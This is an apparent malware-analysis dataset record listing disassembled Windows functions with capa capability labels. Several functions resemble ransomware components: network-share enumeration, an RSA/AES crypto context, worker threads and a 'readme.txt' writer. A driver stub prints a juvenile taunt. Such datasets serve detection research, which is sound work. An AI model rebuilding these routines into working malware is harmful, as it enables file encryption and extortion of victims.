joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007400
Capabilities:
Enumerate network shares

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x268]
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xc4], 0
mov qword [rbp + 0xe8], 0
lea rax, [rbp + 0x84]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x64]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rbp + 0x28]
mov edx, 1
mov rcx, qword [rbp + 0x220]
call sub.NETAPI32.dll_NetShareEnum
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140007648
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa8], rax
mov dword [rbp + 0xc4], 1
jmp 0x1400074d1
mov eax, dword [rbp + 0xc4]
inc eax
mov dword [rbp + 0xc4], eax
mov eax, dword [rbp + 0x44]
cmp dword [rbp + 0xc4], eax
ja 0x14000763f
mov rax, qword [rbp + 0xa8]
cmp dword [rax + 8], 0
je 0x140007511
mov rax, qword [rbp + 0xa8]
cmp dword [rax + 8], 0x80000000
je 0x140007511
mov rax, qword [rbp + 0xa8]
cmp dword [rax + 8], 0x40000000
jne 0x140007628
mov ecx, 0x7d10
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
je 0x140007628
lea rdx, str.ADMIN_
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140007628
mov rax, qword [rbp + 0xe8]
lea rdx, [0x140010340]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0x220]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0xe8]
lea rdx, [0x140010348]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xa8]
mov rdx, qword [rcx]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
mov rax, qword [rax + 8]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x128]
mov qword [rax + 0x7d00], rcx
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x108]
mov qword [rax + 0x7d08], rcx
mov rax, qword [rbp + 0xe8]
add rax, 0x7d00
mov rcx, qword [rbp + 0x108]
mov qword [rcx], rax
mov rax, qword [rbp + 0xe8]
add rax, 0x7d00
mov rcx, qword [rbp + 0x128]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0xa8]
add rax, 0x18
mov qword [rbp + 0xa8], rax
jmp 0x1400074c3
mov rcx, qword [rbp + 0x28]
call sub.NETAPI32.dll_NetApiBufferFree
cmp dword [rbp + 4], 0xea
je 0x140007466
lea rcx, [rbp - 0x40]
lea rdx, [0x14000fe80]
call fcn.14000a0a0
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret
Function at 0x140007670
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov dword [rbp + 0x68], 0x25a207b9
mov eax, 0xddf3
mov word [rbp + 0x6c], ax
mov eax, 0x4660
mov word [rbp + 0x6e], ax
mov byte [rbp + 0x70], 0x8e
mov byte [rbp + 0x71], 0xe9
mov byte [rbp + 0x72], 0x76
mov byte [rbp + 0x73], 0xe5
mov byte [rbp + 0x74], 0x8c
mov byte [rbp + 0x75], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x76], 6
mov byte [rbp + 0x77], 0x3e
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x140007701
xor eax, eax
jmp 0x140007772
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
lea rax, [rbp + 4]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 8
lea rax, [0x1400158d8]
mov qword [rsp + 0x20], rax
mov r9d, setsockopt
lea r8, [rbp + 0x68]
mov edx, 0xc8000006
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WS2_32.dll_WSAIoctl]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
je 0x140007756
xor eax, eax
jmp 0x140007772
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
je 0x14000776d
xor eax, eax
jmp 0x140007772
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.14000a0a0
mov rax, rdi
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret

Function at 0x1400077a0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov edx, 0x100
lea rcx, [rbp + 0x10]
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x1400077d8
xor eax, eax
jmp 0x1400077f9
lea rcx, [rbp + 0x10]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [0x1400158d0], rax
cmp qword [0x1400158d0], 0
jne 0x1400077f7
xor eax, eax
jmp 0x1400077f9
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14000fb20]
call fcn.14000a0a0
mov rax, rdi
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret
Function at 0x1400083a0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push rbp
push rdi
sub rsp, 0x3d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x8a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov qword [rbp + 0x1c8], 0
mov qword [rbp + 0x1e8], 0
mov qword [rbp + 0x208], 0
mov dword [0x140015940], 0
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rcx, [0x1400158e0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.140007670
test eax, eax
jne 0x140008419
jmp 0x14000857c
call fcn.1400077a0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov qword [0x140015938], rax
cmp qword [0x140015938], 0
jne 0x14000844e
jmp 0x14000857c
lea rax, [0x140015908]
mov qword [0x140015910], rax
mov rax, qword [0x140015910]
mov qword [0x140015908], rax
lea rax, [0x140015918]
mov qword [0x140015920], rax
mov rax, qword [0x140015920]
mov qword [0x140015918], rax
lea rax, [0x140015928]
mov qword [0x140015930], rax
mov rax, qword [0x140015930]
mov qword [0x140015928], rax
lea rcx, [0x140015908]
call fcn.140007820
test eax, eax
jne 0x1400084bc
jmp 0x14000857c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140007be0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x1400084fc
jmp 0x14000857c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140007dd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0xffffffffffffffff
jne 0x140008536
jmp 0x14000857c
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [0x140015938]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0xffffffff
call fcn.140006e90
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [0x1400158e0]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp qword [0x140015938], 0
je 0x1400085a0
mov rcx, qword [0x140015938]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x1c8], 0
je 0x1400085b7
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x1e8], 0
je 0x1400085ce
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rbp - 0x30]
lea rdx, [0x14000fac0]
call fcn.14000a0a0
lea rsp, [rbp + 0x3a8]
pop rdi
pop rbp
ret
Function at 0x140008630
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4a8]
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 8], rax
mov qword [rbp + 0x288], 0
cmp qword [rbp + 8], 0
jne 0x140008683
jmp 0x14000877d
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x1400086aa
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000877d
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14000875e
mov ecx, 0x18
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
jne 0x1400086e4
jmp 0x140008773
mov rax, qword [rbp + 0x288]
mov ecx, dword [rbp + 0x38]
mov dword [rax], ecx
mov rax, qword [rbp + 0x480]
mov qword [rbp + 0x2c8], rax
mov rax, qword [rbp + 0x2c8]
mov rax, qword [rax]
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x2a8]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x2c8]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0x288]
add rax, 8
mov rcx, qword [rbp + 0x2a8]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x288]
add rax, 8
mov rcx, qword [rbp + 0x2c8]
mov qword [rcx], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400086aa
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x20]
lea rdx, [0x1400103d0]
call fcn.14000a0a0
lea rsp, [rbp + 0x468]
pop rdi
pop rbp
ret
Function at 0x1400089d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x288
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2a8]
lea rdx, str.readme.txt
mov rcx, qword [rbp + 0x260]
call fcn.140008be0
mov qword [rbp + 8], rax
mov qword [rbp + 0x28], 0xffffffffffffffff
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x148], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x140008a73
jmp 0x140008bb7
mov dword [rbp + 0x44], 0
call fcn.140006750
mov qword [rbp + 0x68], rax
mov r8d, 0x20
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0xe8]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x68]
add rax, 0x20
mov r8d, 8
mov rdx, rax
lea rcx, [rbp + 0x128]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x68]
add rax, 0x28
mov r8d, 4
mov rdx, rax
lea rcx, [rbp + 0x44]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0x44]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0
jne 0x140008afb
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140008bb7
mov edx, 0x40
lea rcx, [rbp + 0x90]
call fcn.140005570
mov r9d, 0x40
mov r8d, 0x100
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x90]
call fcn.1400028e0
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x90]
call fcn.140002840
mov rax, qword [rbp + 0x68]
add rax, 0x2c
mov r9d, dword [rbp + 0x44]
mov r8, qword [rbp + 0x148]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140001800
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x164]
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x44]
mov edx, eax
mov rcx, qword [rbp + 0x148]
call fcn.140005570
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, [rbp - 0x40]
lea rdx, [0x1400107b0]
call fcn.14000a0a0
lea rsp, [rbp + 0x248]
pop rdi
pop rbp
ret
Function at 0x140009400
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
xor edx, edx
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14000944a
mov eax, 1
jmp 0x1400094dc
mov dword [rsp + 0x20], 0xf0000008
mov r9d, 0x18
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
xor edx, edx
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14000947e
mov eax, 1
jmp 0x1400094dc
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_
xor edx, edx
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400094b2
mov eax, 1
jmp 0x1400094dc
mov dword [rsp + 0x20], 0xf0000008
mov r9d, 0x18
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_
xor edx, edx
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400097e0
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
cmp dword [rbp + 0x120], 0
jne 0x140009817
lea rax, [0x140015950]
mov qword [rbp + 8], rax
jmp 0x140009831
cmp dword [rbp + 0x120], 1
jne 0x14000982d
lea rax, [0x1400159a0]
mov qword [rbp + 8], rax
jmp 0x140009831
xor eax, eax
jmp 0x140009897
mov rax, qword [rbp + 8]
mov dword [rax + 0x10], 1
mov dword [rbp + 0x24], 0
jmp 0x14000984d
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
mov rcx, qword [rbp + 8]
cmp rax, qword [rcx + 8]
jae 0x140009892
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
lea r8, [0x1400098b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov rdx, qword [rdx]
mov qword [rdx + rcx*8], rax
jmp 0x140009845
mov eax, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140009ca0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x188
mov rbp, rsp
xor eax, eax
mov word [rbp + 4], ax
xor eax, eax
mov word [rbp + 0x24], ax
mov qword [rbp + 0x48], 0
mov rax, qword [rbp + 0x1a8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x1a8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
movzx eax, word [rax + 0x18]
cmp eax, 0x10b
jne 0x140009d2b
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x88]
lea rax, [rcx + rax + 0x18]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x88]
movzx eax, word [rax + 6]
mov word [rbp + 0x24], ax
jmp 0x140009d78
mov rax, qword [rbp + 0x68]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x140009d71
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0xa8]
lea rax, [rcx + rax + 0x18]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0xa8]
movzx eax, word [rax + 6]
mov word [rbp + 0x24], ax
jmp 0x140009d78
xor eax, eax
jmp 0x140009e2e
mov eax, 0x28
imul rax, rax, 0
mov rcx, qword [rbp + 0x48]
mov eax, dword [rcx + rax + 0x14]
cmp dword [rbp + 0x1a0], eax
jae 0x140009d9c
mov eax, dword [rbp + 0x1a0]
jmp 0x140009e2e
xor eax, eax
mov word [rbp + 4], ax
jmp 0x140009daf
movzx eax, word [rbp + 4]
inc ax
mov word [rbp + 4], ax
movzx eax, word [rbp + 4]
movzx ecx, word [rbp + 0x24]
cmp eax, ecx
jge 0x140009e2c
movzx eax, word [rbp + 4]
imul rax, rax, 0x28
mov rcx, qword [rbp + 0x48]
mov eax, dword [rcx + rax + 0xc]
cmp dword [rbp + 0x1a0], eax
jb 0x140009e27
movzx eax, word [rbp + 4]
imul rax, rax, 0x28
movzx ecx, word [rbp + 4]
imul rcx, rcx, 0x28
mov rdx, qword [rbp + 0x48]
mov eax, dword [rdx + rax + 0xc]
mov rdx, qword [rbp + 0x48]
add eax, dword [rdx + rcx + 0x10]
cmp dword [rbp + 0x1a0], eax
jae 0x140009e27
movzx eax, word [rbp + 4]
imul rax, rax, 0x28
mov rcx, qword [rbp + 0x48]
mov eax, dword [rcx + rax + 0xc]
mov ecx, dword [rbp + 0x1a0]
sub ecx, eax
mov eax, ecx
movzx ecx, word [rbp + 4]
imul rcx, rcx, 0x28
mov rdx, qword [rbp + 0x48]
add eax, dword [rdx + rcx + 0x14]
jmp 0x140009e2e
jmp 0x140009da4
xor eax, eax
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret

Function at 0x14000bee0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bf2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bf2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bf2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bf2a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bf2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bf2c
xor al, al
add rsp, 0x28
ret
Function at 0x1400013f0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
movabs rax, 0xfffff78000000014
mov rax, qword [rax]
mov qword [0x140004008], rax
call section..text
lea rcx, str._If_you_read_this_youre_gay__n
call sub.ntoskrnl.exe_DbgPrint
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001af0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x138
jne 0x140001b12
mov rcx, qword [rsp + 0x40]
call fcn.140001f20
jmp 0x140001b29
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jb 0x140001b29
mov rcx, qword [rsp + 0x40]
call fcn.140001d10
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx + rax*8 + 8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x20]
shr rax, 0x1d
mov rcx, qword [rsp + 0x40]
and rax, qword [rcx + 0x1388]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shl rax, 0x11
movabs rcx, 0x71d67fffeda60000
and rax, rcx
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shl rax, 0x25
movabs rcx, 0xfff7eee000000000
and rax, rcx
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shr rax, 0x2b
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140001d10
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp], 0
jmp 0x140001d2e
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x9c
jae 0x140001dcc
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov rax, qword [rax + rcx*8 + 0x9c8]
and rax, 0xffffffff80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov rcx, qword [rcx + rdx*8 + 0x9d0]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
and rax, 1
test rax, rax
je 0x140001d92
movabs rax, 0xb5026f5aa96619e9
mov qword [rsp + 0x10], rax
jmp 0x140001d9b
mov qword [rsp + 0x10], 0
mov rax, qword [rsp + 8]
shr rax, 1
xor rax, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
xor rax, qword [rcx + rdx*8 + 0xea8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x140001d23
jmp 0x140001dd9
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x137
jae 0x140001e77
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov rax, qword [rax + rcx*8 + 0x9c8]
and rax, 0xffffffff80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov rcx, qword [rcx + rdx*8 + 0x9d0]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
and rax, 1
test rax, rax
je 0x140001e3d
movabs rax, 0xb5026f5aa96619e9
mov qword [rsp + 0x20], rax
jmp 0x140001e46
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x18]
shr rax, 1
xor rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
xor rax, qword [rcx + rdx*8 - 0x4d8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x140001dce
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov rax, qword [rax + rcx*8 + 0x9c8]
and rax, 0xffffffff80000000
mov ecx, 8
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rdx + rcx + 8]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
and rax, 1
test rax, rax
je 0x140001ecf
movabs rax, 0xb5026f5aa96619e9
mov qword [rsp + 0x30], rax
jmp 0x140001ed8
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x28]
shr rax, 1
xor rax, qword [rsp + 0x30]
mov ecx, 8
imul rcx, rcx, 0x9b
mov rdx, qword [rsp + 0x50]
xor rax, qword [rdx + rcx + 8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov qword [rcx + rdx*8 + 8], rax
mov rax, qword [rsp + 0x50]
mov dword [rax], 0
add rsp, 0x48
ret
Function at 0x140001f20
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov qword [rsp], 0x138
jmp 0x140001f3e
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x270
jae 0x140001fdc
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp]
mov rax, qword [rax + rcx*8 - 0x9b8]
and rax, 0xffffffff80000000
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp]
mov rcx, qword [rcx + rdx*8 - 0x9b0]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
and rax, 1
test rax, rax
je 0x140001fa2
movabs rax, 0xb5026f5aa96619e9
mov qword [rsp + 0x10], rax
jmp 0x140001fab
mov qword [rsp + 0x10], 0
mov rax, qword [rsp + 8]
shr rax, 1
xor rax, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp]
xor rax, qword [rcx + rdx*8 - 0x4d8]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x140001f33
add rsp, 0x28
ret

Function at 0x140001ff0
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
movzx eax, byte [rsp + 0x10]
mov rcx, qword [rsp + 8]
xor rcx, rax
mov rax, rcx
movabs rcx, 0x100000001b3
imul rax, rcx
ret